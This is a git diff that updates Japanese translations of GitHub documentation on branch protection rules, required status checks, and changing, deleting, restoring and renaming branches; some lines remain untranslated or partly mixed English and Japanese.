+intro: 保護されたブランチにマージされる前に、すべてのプルリクエストでレビューへの承認またはステータスチェックへのパスを必須とするなど、1 つ以上のブランチに対して特定のワークフローを強制するため、ブランチ保護ルールを作成できます。
 product: '{% data reusables.gated-features.protected-branches %}'
 redirect_from:
   - /articles/configuring-protected-branches
@@ -28,23 +28,24 @@ topics:
   - Repositories
 shortTitle: Branch protection rule
 ---
-## About branch protection rules
+
+## ブランチ保護ルールについて
 
 {% data reusables.repositories.branch-rules-example %}
 
-You can create a rule for all current and future branches in your repository with the wildcard syntax `*`. Because {% data variables.product.company_short %} uses the `File::FNM_PATHNAME` flag for the `File.fnmatch` syntax, the wildcard does not match directory separators (`/`). For example, `qa/*` will match all branches beginning with `qa/` and containing a single slash. You can include multiple slashes with `qa/**/*`, and you can extend the `qa` string with `qa**/**/*` to make the rule more inclusive. For more information about syntax options for branch rules, see the [fnmatch documentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch).
+ワイルドカード構文 `*` で、リポジトリ内の現在および将来のブランチすべてに対するルールを作成できます。 {% data variables.product.company_short %}は、`File.fnmatch` 構文に `File::FNM_PATHNAME` フラグを使用するので、ワイルドカードはディレクトリの区切り文字 (`/`) には一致しません。 たとえば、`qa/*` は、`qa/` で始まり、1 つのスラッシュが含まれるすべてのブランチにマッチします。 `qa/**/*` とすると、複数のスラッシュにマッチします。また、より多くのブランチにマッチさせるため、`qa` の文字列を `qa**/**/*` とすることもできます。 ブランチのルールに関する構文オプションの詳しい情報については、 [fnmatch ドキュメンテーション](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch)を参照してください。
 
-If a repository has multiple protected branch rules that affect the same branches, the rules that include a specific branch name have the highest priority. If there is more than one protected branch rule that references the same specific branch name, then the branch rule created first will have higher priority.
+リポジトリが同じブランチに影響する複数の保護されたブランチのルールを持っているなら、特定のブランチ名を含むルールがもっとも高い優先順位を持ちます。 同じ特定のブランチ名を参照する保護されたブランチのルールが複数あるなら、最初に作成されたブランチルールが高い優先順位を持ちます。
 
-Protected branch rules that mention a special character, such as `*`, `?`, or `]`, are applied in the order they were created, so older rules with these characters have a higher priority.
+`*`、`?`、`]`などの特殊文字を含む保護されたブランチのルールは、作成された順序で適用されるので、これらの文字を持つ古いルールが高い優先順位を持ちます。
 
-To create an exception to an existing branch rule, you can create a new branch protection rule that is higher priority, such as a branch rule for a specific branch name.
+既存のブランチのルールに例外を作成するため、特定のブランチ名に対するルールなど、優先度の高いブランチ保護ルールを新しく作成できます。
 
 For more information about each of the available branch protection settings, see "[About protected branches](/github/administering-a-repository/about-protected-branches)."
 
-## Creating a branch protection rule
+## ブランチ保護ルールを作成する
 
-When you create a branch rule, the branch you specify doesn't have to exist yet in the repository.
+ブランチのルールを作成する際に、指定したブランチがリポジトリにしている必要はありません。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
@@ -52,87 +53,63 @@ When you create a branch rule, the branch you specify doesn't have to exist yet
 {% data reusables.repositories.add-branch-protection-rules %}
 {% ifversion fpt or ghec %}
 1. Optionally, enable required pull requests.
-   - Under "Protect matching branches", select **Require a pull request before merging**.
-     ![Pull request review restriction checkbox](/assets/images/help/repository/PR-reviews-required-updated.png)
-   - Optionally, to require approvals before a pull request can be merged, select **Require approvals**, click the **Required number of approvals before merging** drop-down menu, then select the number of approving reviews you would like to require on the branch.
-     ![Drop-down menu to select number of required review approvals](/assets/images/help/repository/number-of-required-review-approvals-updated.png)
+   - Under "Protect matching branches", select **Require a pull request before merging**. ![プルリクエストレビューの制限チェックボックス](/assets/images/help/repository/PR-reviews-required-updated.png)
+   - Optionally, to require approvals before a pull request can be merged, select **Require approvals**, click the **Required number of approvals before merging** drop-down menu, then select the number of approving reviews you would like to require on the branch. ![必須とするレビュー承認の数を選択するドロップダウンメニュー](/assets/images/help/repository/number-of-required-review-approvals-updated.png)
 {% else %}
-1. Optionally, enable required pull request reviews.
-   - Under "Protect matching branches", select **Require pull request reviews before merging**.
-     ![Pull request review restriction checkbox](/assets/images/help/repository/PR-reviews-required.png)
-   - Click the **Required approving reviews** drop-down menu, then select the number of approving reviews you would like to require on the branch. 
-     ![Drop-down menu to select number of required review approvals](/assets/images/help/repository/number-of-required-review-approvals.png)
+1. 必要に応じて、Pull Requestレビュー必須を有効化します。
+   - [Protect matching branches] で、[**Require pull request reviews before merging**] を選択します。 ![プルリクエストレビューの制限チェックボックス](/assets/images/help/repository/PR-reviews-required.png)
+   - Click the **Required approving reviews** drop-down menu, then select the number of approving reviews you would like to require on the branch. ![必須とするレビュー承認の数を選択するドロップダウンメニュー](/assets/images/help/repository/number-of-required-review-approvals.png)
 {% endif %}
-   - Optionally, to dismiss a pull request approval review when a code-modifying commit is pushed to the branch, select **Dismiss stale pull request approvals when new commits are pushed**.
-     ![Dismiss stale pull request approvals when new commits are pushed checkbox](/assets/images/help/repository/PR-reviews-required-dismiss-stale.png)
-   - Optionally, to require review from a code owner when the pull request affects code that has a designated owner, select **Require review from Code Owners**. For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)."
-     ![Require review from code owners](/assets/images/help/repository/PR-review-required-code-owner.png)
+   - コードを変更するコミットがブランチにプッシュされたときにプルリクエストの承認レビューを却下する場合は、[**Dismiss stale pull request approvals when new commits are pushed**] を選択します。 ![新たなコミットがチェックボックスにプッシュされた際に古いプルリクエストの承認を却下するチェックボックス](/assets/images/help/repository/PR-reviews-required-dismiss-stale.png)
+   - 指定されたオーナーのコードにプルリクエストが影響する場合に、コードオーナーからのレビューを必須にする場合は、[**Require review from Code Owners**] を選択します。 詳細は「[コードオーナーについて](/github/creating-cloning-and-archiving-repositories/about-code-owners)」を参照してください。 ![コードオーナーのレビューを必要とする](/assets/images/help/repository/PR-review-required-code-owner.png)
 {% ifversion fpt or ghec %}
-   - Optionally, to allow specific people or teams to push code to the branch without being subject to the pull request rules above, select **Allow specific actors to bypass pull request requirements**. Then, search for and select the people or teams who are allowed to bypass the pull request requirements.
-     ![Allow specific actors to bypass pull request requirements checkbox](/assets/images/help/repository/PR-bypass-requirements.png)
+   - Optionally, to allow specific people or teams to push code to the branch without being subject to the pull request rules above, select **Allow specific actors to bypass pull request requirements**. Then, search for and select the people or teams who are allowed to bypass the pull request requirements. ![Allow specific actors to bypass pull request requirements checkbox](/assets/images/help/repository/PR-bypass-requirements.png)
 {% endif %}
-   - Optionally, if the repository is part of an organization, select **Restrict who can dismiss pull request reviews**. Then, search for and select the people or teams who are allowed to dismiss pull request reviews. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)."
-     ![Restrict who can dismiss pull request reviews checkbox](/assets/images/help/repository/PR-review-required-dismissals.png)
-1. Optionally, enable required status checks. For more information, see "[About status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)."
-   - Select **Require status checks to pass before merging**.
-     ![Required status checks option](/assets/images/help/repository/required-status-checks.png)
-   - Optionally, to ensure that pull requests are tested with the latest code on the protected branch, select **Require branches to be up to date before merging**.
-     ![Loose or strict required status checkbox](/assets/images/help/repository/protecting-branch-loose-status.png)
-   - Search for status checks, selecting the checks you want to require.
-     ![Search interface for available status checks, with list of required checks](/assets/images/help/repository/required-statuses-list.png)
+   - リポジトリが Organization の一部である場合、[**Restrict who can dismiss pull request reviews**] を選択します。 そして、Pull Requestレビューを却下できるユーザまたは Team を検索して選択します。 詳しい情報については[プルリクエストレビューの却下](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)を参照してください。 ![[Restrict who can dismiss pull request reviews] チェックボックス](/assets/images/help/repository/PR-review-required-dismissals.png)
+1. 必要に応じて、ステータスチェック必須を有効化します。 詳しい情報については[ステータスチェックについて](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)を参照してください。
+   - [**Require status checks to pass before merging**] を選択します。 ![必須ステータスチェックのオプション](/assets/images/help/repository/required-status-checks.png)
+   - プルリクエストを保護されたブランチの最新コードで確実にテストしたい場合は、[**Require branches to be up to date before merging**] を選択します。 ![必須ステータスのチェックボックス、ゆるい、または厳格な](/assets/images/help/repository/protecting-branch-loose-status.png)
+   - Search for status checks, selecting the checks you want to require. ![Search interface for available status checks, with list of required checks](/assets/images/help/repository/required-statuses-list.png)
 {%- ifversion fpt or ghes > 3.1 or ghae %}
-1. Optionally, select **Require conversation resolution before merging**.
-  ![Require conversation resolution before merging option](/assets/images/help/repository/require-conversation-resolution.png)
+1. Optionally, select **Require conversation resolution before merging**. ![Require conversation resolution before merging option](/assets/images/help/repository/require-conversation-resolution.png)
 {%- endif %}
-1. Optionally, select **Require signed commits**.
-  ![Require signed commits option](/assets/images/help/repository/require-signed-commits.png)
-1. Optionally, select **Require linear history**.
-  ![Required linear history option](/assets/images/help/repository/required-linear-history.png)
+1. 必要に応じて、[**Require signed commits**] を選択します。 ![[Require signed commits] オプション](/assets/images/help/repository/require-signed-commits.png)
+1. 必要に応じて、[**Require linear history**] を選択します。 ![必須の直線状の履歴オプション](/assets/images/help/repository/required-linear-history.png)
 {%- ifversion fpt or ghec %}
-1. Optionally, to merge pull requests using a merge queue, select **Require merge queue**. {% data reusables.pull_requests.merge-queue-references %}
-  ![Require merge queue option](/assets/images/help/repository/require-merge-queue.png)
+1. Optionally, to merge pull requests using a merge queue, select **Require merge queue**. {% data reusables.pull_requests.merge-queue-references %} ![Require merge queue option](/assets/images/help/repository/require-merge-queue.png)
   {% tip %}
 
   **Tip:** The pull request merge queue feature is currently in limited public beta and subject to change. Organizations owners can request early access to the beta by joining the [waitlist](https://github.com/features/merge-queue/signup).
 
   {% endtip %}
 {%- endif %}
-1. Optionally, select **Apply the rules above to administrators**.
-![Apply the rules above to administrators checkbox](/assets/images/help/repository/include-admins-protected-branches.png)
-1. Optionally,{% ifversion fpt or ghec %} if your repository is owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %},{% endif %} enable branch restrictions.
-   - Select **Restrict who can push to matching branches**.
-     ![Branch restriction checkbox](/assets/images/help/repository/restrict-branch.png)
-   - Search for and select the people, teams, or apps who will have permission to push to the protected branch.
-     ![Branch restriction search](/assets/images/help/repository/restrict-branch-search.png)
-1. Optionally, under "Rules applied to everyone including administrators", select **Allow force pushes**.
-  ![Allow force pushes option](/assets/images/help/repository/allow-force-pushes.png)
+1. Optionally, select **Apply the rules above to administrators**. ![Apply the rules above to administrators checkbox](/assets/images/help/repository/include-admins-protected-branches.png)
+1. 必要に応じて、{% ifversion fpt or ghec %}{% data variables.product.prodname_team %} または {% data variables.product.prodname_ghe_cloud %} を使用する Organization がリポジトリを所有している場合には、{% endif %}ブランチ制限を有効化します。
+   - [**Restrict who can push to matching branches**] を選択します。 ![ブランチ制限のチェックボックス](/assets/images/help/repository/restrict-branch.png)
+   - 保護されたブランチにプッシュできる権限を持つユーザ、Team、またはアプリを検索し、選択します。 ![ブランチ制限の検索](/assets/images/help/repository/restrict-branch-search.png)
+1. 必要に応じて、[Rules applied to everyone including administrators] で [**Allow force pushes**] を選択します。 ![フォースプッシュオプションを許可する](/assets/images/help/repository/allow-force-pushes.png)
 {% ifversion fpt or ghec %}
   Then, choose who can force push to the branch.
     - Select **Everyone** to allow everyone with at least write permissions to the repository to force push to the branch, including those with admin permissions.
-    - Select **Specify who can force push** to allow only specific people or teams to force push to the branch. Then, search for and select those people or teams.
-      ![Screenshot of the options to specify who can force push](/assets/images/help/repository/allow-force-pushes-specify-who.png)
+    - Select **Specify who can force push** to allow only specific people or teams to force push to the branch. Then, search for and select those people or teams. ![Screenshot of the options to specify who can force push](/assets/images/help/repository/allow-force-pushes-specify-who.png)
 {% endif %}
 
     For more information about force pushes, see "[Allow force pushes](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches/#allow-force-pushes)."
-1. Optionally, select **Allow deletions**.
-  ![Allow branch deletions option](/assets/images/help/repository/allow-branch-deletions.png)
-1. Click **Create**.
+1. 必要に応じて、[**Allow deletions**] を選択します。 ![ブランチ削除オプションを許可する](/assets/images/help/repository/allow-branch-deletions.png)
+1. ** Create（作成）**をクリックしてください。
 
-## Editing a branch protection rule
+## ブランチ保護ルールを編集する
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.repository-branches %}
-1. To the right of the branch protection rule you want to edit, click **Edit**.
-  ![Edit button](/assets/images/help/repository/edit-branch-protection-rule.png)
-1. Make your desired changes to the branch protection rule.
-1. Click **Save changes**.
-  ![Save changes button](/assets/images/help/repository/save-branch-protection-rule.png)
+1. 編集する保護ルールの右にある [**Edit**] をクリックします。 ![編集ボタン](/assets/images/help/repository/edit-branch-protection-rule.png)
+1. ブランチ保護ルールを自由に変更してください。
+1. [**Save changes**] をクリックします。 ![[Edit message] ボタン](/assets/images/help/repository/save-branch-protection-rule.png)
 
-## Deleting a branch protection rule
+## ブランチ保護ルールを削除する
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.repository-branches %}
-1. To the right of the branch protection rule you want to delete, click **Delete**.
-    ![Delete button](/assets/images/help/repository/delete-branch-protection-rule.png)
+1. 削除する保護ルールの右にある [**Delete**] をクリックします。 ![削除ボタン](/assets/images/help/repository/delete-branch-protection-rule.png)
diff --git a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md
index 04e3abaa6d..e1c79fddb2 100644
--- a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md
+++ b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting required status checks
-intro: You can check for common errors and resolve issues with required status checks.
+title: 必須ステータスチェックのトラブルシューティング
+intro: ステータスチェック必須を使用して、一般的なエラーを調べ、問題を解決できます。
 product: '{% data reusables.gated-features.protected-branches %}'
 versions:
   fpt: '*'
@@ -14,17 +14,18 @@ redirect_from:
   - /github/administering-a-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks
 shortTitle: Required status checks
 ---
-If you have a check and a status with the same name, and you select that name as a required status check, both the check and the status are required. For more information, see "[Checks](/rest/reference/checks)."
 
-After you enable required status checks, your branch may need to be up-to-date with the base branch before merging. This ensures that your branch has been tested with the latest code from the base branch. If your branch is out of date, you'll need to merge the base branch into your branch. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)."
+同じ名前のチェックとステータスがあり、その名前をステータスチェック必須とするようにした場合、チェックとステータスはどちらも必須になります。 詳しい情報については、「[チェック](/rest/reference/checks)」を参照してください。
+
+ステータスチェック必須を有効にした後、マージする前にブランチをベースブランチに対して最新にする必要がある場合があります。 これによって、ブランチがベースブランチからの最新のコードでテストされたことが保証されます。 ブランチが古い場合、ベースブランチをブランチにマージする必要があります。 詳しい情報については[保護されたブランチについて](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)を参照してください。
 
 {% note %}
 
-**Note:** You can also bring your branch up to date with the base branch using Git rebase. For more information, see "[About Git rebase](/github/getting-started-with-github/about-git-rebase)."
+**注釈:** Git リベースを使用してブランチをベースブランチに対して最新にすることもできます。 詳しい情報については、「[Git リベースについて](/github/getting-started-with-github/about-git-rebase)」を参照してください。
 
 {% endnote %}
 
-You won't be able to push local changes to a protected branch until all required status checks pass. Instead, you'll receive an error message similar to the following.
+必須ステータスチェックにすべてパスするまでは、ローカルでの変更を保護されたブランチにプッシュすることはできません。 その代わりに、以下のようなエラーメッセージが返されます.
 
 ```shell
 remote: error: GH006: Protected branch update failed for refs/heads/main.
@@ -32,17 +33,17 @@ remote: error: Required status check "ci-build" is failing
 ```
 {% note %}
 
-**Note:** Pull requests that are up-to-date and pass required status checks can be merged locally and pushed to the protected branch. This can be done without status checks running on the merge commit itself.
+**注釈:** 最新で必須のステータスチェックをパスしたプルリクエストは、ローカルでマージしてから保護されたブランチにプッシュできます。 これはマージコミット自体でステータスチェックを実行せずに行えます。
 
 {% endnote %}
 
 {% ifversion fpt or ghae or ghes or ghec %}
 
-## Conflicts between head commit and test merge commit 
+## Conflicts between head commit and test merge commit
 
-Sometimes, the results of the status checks for the test merge commit and head commit will conflict. If the test merge commit has a status, the test merge commit must pass. Otherwise, the status of the head commit must pass before you can merge the branch. For more information about test merge commits, see "[Pulls](/rest/reference/pulls#get-a-pull-request)."
+テストマージコミットと head コミットのステータスチェックの結果が競合する場合があります。 テストマージコミットにステータスがある場合、そのテストマージコミットは必ずパスする必要があります。 それ以外の場合、ヘッドコミットのステータスは、ブランチをマージする前にパスする必要があります。 テストマージコミットに関する詳しい情報については、「[プル](/rest/reference/pulls#get-a-pull-request)」を参照してください。
 
-![Branch with conflicting merge commits](/assets/images/help/repository/req-status-check-conflicting-merge-commits.png)
+![マージコミットが競合しているブランチ](/assets/images/help/repository/req-status-check-conflicting-merge-commits.png)
 {% endif %}
 
 ## Handling skipped but required checks
@@ -51,9 +52,9 @@ Sometimes a required status check is skipped on pull requests due to path filter
 
 If this check is required and it gets skipped, then the check's status is shown as pending, because it's required. In this situation you won't be able to merge the pull request.
 
-### Example
+### サンプル
 
-In this example you have a workflow that's required to pass. 
+In this example you have a workflow that's required to pass.
 
 ```yaml
 name: ci
@@ -105,7 +106,7 @@ Now the checks will always pass whenever someone sends a pull request that doesn
 
 {% note %}
 
-**Notes:** 
+**ノート:**
 * Make sure that the `name` key and required job name in both the workflow files are the same. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)".
 * The example above uses {% data variables.product.prodname_actions %} but this workaround is also applicable to other CI/CD providers that integrate with {% data variables.product.company_short %}.
 
diff --git a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md
index d82c43712f..c92ddbee51 100644
--- a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md
+++ b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md
@@ -1,6 +1,6 @@
 ---
-title: Changing the default branch
-intro: 'If you have more than one branch in your repository, you can configure any branch as the default branch.'
+title: デフォルトブランチを変更する
+intro: リポジトリに複数のブランチがある場合、任意のブランチをデフォルトブランチとして設定できます。
 permissions: People with admin permissions to a repository can change the default branch for the repository.
 versions:
   fpt: '*'
@@ -16,41 +16,38 @@ topics:
   - Repositories
 shortTitle: Change the default branch
 ---
-## About changing the default branch
 
-You can choose the default branch for a repository. The default branch is the base branch for pull requests and code commits. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)."
+## デフォルトブランチの変更について
+
+リポジトリのデフォルトブランチは選択できます。 デフォルトブランチは、プルリクエストやコードのコミットを行う基点となるブランチです。 デフォルトブランチの詳細については、「[ブランチについて](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)」を参照してください。
 
 {% ifversion not ghae %}
 {% note %}
 
-**Note**: If you use the Git-Subversion bridge, changing the default branch will affect your `trunk` branch contents and the `HEAD` you see when you list references for the remote repository. For more information, see "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients)" and [git-ls-remote](https://git-scm.com/docs/git-ls-remote.html) in the Git documentation.
+**注釈**: Git-Subversion ブリッジを使用している場合、デフォルトブランチを変更すると, changing the default branch will affect your `trunk` ブランチのコンテンツと、リモートリポジトリのリファレンスを一覧表示するときに表示される`HEAD` に影響を与えます。 詳しい情報については、「[Subversion クライアントのサポート](/github/importing-your-projects-to-github/support-for-subversion-clients)」および Git ドキュメンテーション内の [git-ls-remote](https://git-scm.com/docs/git-ls-remote.html) を参照してください。
 
 {% endnote %}
 {% endif %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 
-You can also rename the default branch. For more information, see "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)."
+デフォルトブランチの名前は変更することもできます。 詳しい情報については、「[ブランチの名前を変更する](/github/administering-a-repository/renaming-a-branch)」を参照してください。
 
 {% endif %}
 
 {% data reusables.branches.set-default-branch %}
 
-## Prerequisites
+## 必要な環境
 
-To change the default branch, your repository must have more than one branch. For more information, see "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)."
+デフォルトブランチを変更するには、リポジトリに複数のブランチが存在する必要があります。 詳しい情報については[リポジトリ内でのブランチの作成と削除](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)を参照してください。
 
-## Changing the default branch
+## デフォルトブランチを変更する
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.repository-branches %}
-1. Under "Default branch", to the right of the default branch name, click {% octicon "arrow-switch" aria-label="The switch icon with two arrows" %}.
-   ![Switch icon with two arrows to the right of current default branch name](/assets/images/help/repository/repository-options-defaultbranch-change.png)
-1. Use the drop-down, then click a branch name.
-   ![Drop-down to choose new default branch](/assets/images/help/repository/repository-options-defaultbranch-drop-down.png)
-1. Click **Update**.
-   !["Update" button after choosing a new default branch](/assets/images/help/repository/repository-options-defaultbranch-update.png)
-1. Read the warning, then click **I understand, update the default branch.**
-   !["I understand, update the default branch." button to perform the update](/assets/images/help/repository/repository-options-defaultbranch-i-understand.png)
+1. [Default branch] の下にある、デフォルトブランチ名の右側の、{% octicon "arrow-switch" aria-label="The switch icon with two arrows" %} をクリックします。 ![現在のデフォルトブランチ名の右側にある、2 つの矢印がついた切り替えアイコン](/assets/images/help/repository/repository-options-defaultbranch-change.png)
+1. ドロップダウンメニューで、ブランチ名をクリックします。 ![新しいデフォルトブランチを選択するドロップダウン](/assets/images/help/repository/repository-options-defaultbranch-drop-down.png)
+1. [**Update**] をクリックします。 ![新しいブランチを選択後の [Update] ボタン](/assets/images/help/repository/repository-options-defaultbranch-update.png)
+1. 警告を読んでから、[**I understand, update the default branch.**] (わかりました。デフォルトのブランチを更新してください) をクリックします。 !["I understand, update the default branch." button to perform the update](/assets/images/help/repository/repository-options-defaultbranch-i-understand.png)
 
diff --git a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md
index 807c0c5aa5..5b8affa75d 100644
--- a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md
+++ b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting and restoring branches in a pull request
-intro: 'If you have write access in a repository, you can delete branches that are associated with closed or merged pull requests. You cannot delete branches that are associated with open pull requests.'
+title: プルリクエスト中のブランチの削除と復元
+intro: リポジトリでの書き込みアクセスがある場合、クローズまたはマージされたプルリクエストに関連付けられているブランチを削除できます。 オープンなプルリクエストに関連付けられているブランチは削除できません。
 redirect_from:
   - /articles/tidying-up-pull-requests
   - /articles/restoring-branches-in-a-pull-request
@@ -17,31 +17,30 @@ topics:
   - Repositories
 shortTitle: Delete & restore branches
 ---
-## Deleting a branch used for a pull request
 
-You can delete a branch that is associated with a pull request if the pull request has been merged or closed and there are no other open pull requests referencing the branch. For information on closing branches that are not associated with pull requests, see "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)."
+## プルリクエストに使用されるブランチを削除する
+
+プルリクエストがマージまたはクローズされていて、ブランチを参照している他のオープンなプルリクエストがない場合は、プルリクエストに関連付けられているブランチを削除できます。 プルリクエストに関連付けられていないブランチをクローズする方法については、「[リポジトリ内でブランチを作成および削除する](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)」をご覧ください。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
 {% data reusables.repositories.list-closed-pull-requests %}
-4. In the list of pull requests, click the pull request that's associated with the branch that you want to delete.
-5. Near the bottom of the pull request, click **Delete branch**.
-   ![Delete branch button](/assets/images/help/pull_requests/delete_branch_button.png)
+4. プルリクエストのリストで、削除対象のブランチに関連付けられているプルリクエストをクリックします。
+5. プルリクエストの下の方にある [**Delete branch**] をクリックします。 ![[Delete branch] ボタン](/assets/images/help/pull_requests/delete_branch_button.png)
 
-   This button isn't displayed if there's currently an open pull request for this branch.
+   現時点でこのブランチにオープンなプルリクエストがある場合、このボタンは表示されません。
 
-## Restoring a deleted branch
+## 削除したブランチの復元
 
-You can restore the head branch of a closed pull request.
+クローズされたプルリクエストの head ブランチを復元できます。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
 {% data reusables.repositories.list-closed-pull-requests %}
-4. In the list of pull requests, click the pull request that's associated with the branch that you want to restore.
-5. Near the bottom of the pull request, click **Restore branch**.
-   ![Restore deleted branch button](/assets/images/help/branches/branches-restore-deleted.png)
+4. プルリクエストのリストで、復元対象のブランチに関連付けられているプルリクエストをクリックします。
+5. プルリクエストの下の方にある [**Restore branch**] をクリックします。 ![削除されたブランチの復元ボタン](/assets/images/help/branches/branches-restore-deleted.png)
 
-## Further reading
+## 参考リンク
 
-- "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository)"
-- "[Managing the automatic deletion of branches](/github/administering-a-repository/managing-the-automatic-deletion-of-branches)"
+- 「[リポジトリ内でのブランチの作成と削除](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository)」
+- 「[ブランチの自動削除の管理](/github/administering-a-repository/managing-the-automatic-deletion-of-branches)」
diff --git a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
index 7fd44389ce..d92d5fce13 100644
--- a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
+++ b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
@@ -1,6 +1,6 @@
 ---
-title: Renaming a branch
-intro: You can change the name of a branch in a repository.
+title: ブランチの名前を変更する
+intro: リポジトリにあるブランチの名前を変更できます。
 permissions: 'People with write permissions to a repository can rename a branch in the repository unless it is the [default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch){% ifversion fpt or ghec %} or a [protected branch](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches){% endif %}. People with admin permissions can rename the default branch{% ifversion fpt or ghec %} and protected branches{% endif %}.'
 versions:
   fpt: '*'
@@ -13,32 +13,30 @@ redirect_from:
   - /github/administering-a-repository/renaming-a-branch
   - /github/administering-a-repository/managing-branches-in-your-repository/renaming-a-branch
 ---
-## About renaming branches
 
-You can rename a branch in a repository on {% data variables.product.product_location %}. For more information about branches, see "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches))."
+## ブランチの名前変更について
 
-When you rename a branch on {% data variables.product.product_location %}, any URLs that contain the old branch name are automatically redirected to the equivalent URL for the renamed branch. Branch protection policies are also updated, as well as the base branch for open pull requests (including those for forks) and draft releases. After the rename is complete, {% data variables.product.prodname_dotcom %} provides instructions on the repository's home page directing contributors to update their local Git environments.
+{% data variables.product.product_location %} にあるリポジトリのブランチの名前を変更できます。 For more information about branches, see "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches))."
 
-Although file URLs are automatically redirected, raw file URLs are not redirected. Also, {% data variables.product.prodname_dotcom %} does not perform any redirects if users perform a `git pull` for the previous branch name.
+{% data variables.product.product_location %} 上のブランチ名を変更すると、古いブランチ名を含む URL は、名前を変更したブランチの URL に自動的にリダイレクトされます。 ブランチ保護ポリシー、オープンなプルリクエストのベースブランチ (フォーク含む) およびドラフトリリースも更新されます。 名前の変更が完了すると、{% data variables.product.prodname_dotcom %} は、リポジトリのホームページに、コントリビューターにローカルの Git 環境を更新するよう指示を掲載します。
+
+ファイル URL は自動的にリダイレクトされますが、生のファイル URL はリダイレクトされません。 また、ユーザが以前のブランチ名に対して `git pull` を実行した場合、{% data variables.product.prodname_dotcom %} はリダイレクトを行いません。
 
 {% data variables.product.prodname_actions %} workflows do not follow renames, so if your repository publishes an action, anyone using that action with `@{old-branch-name}` will break. You should consider adding a new branch with the original content plus an additional commit reporting that the branch name is deprecated and suggesting that users migrate to the new branch name.
 
-## Renaming a branch
+## ブランチの名前を変更する
 
 {% data reusables.repositories.navigate-to-repo %}
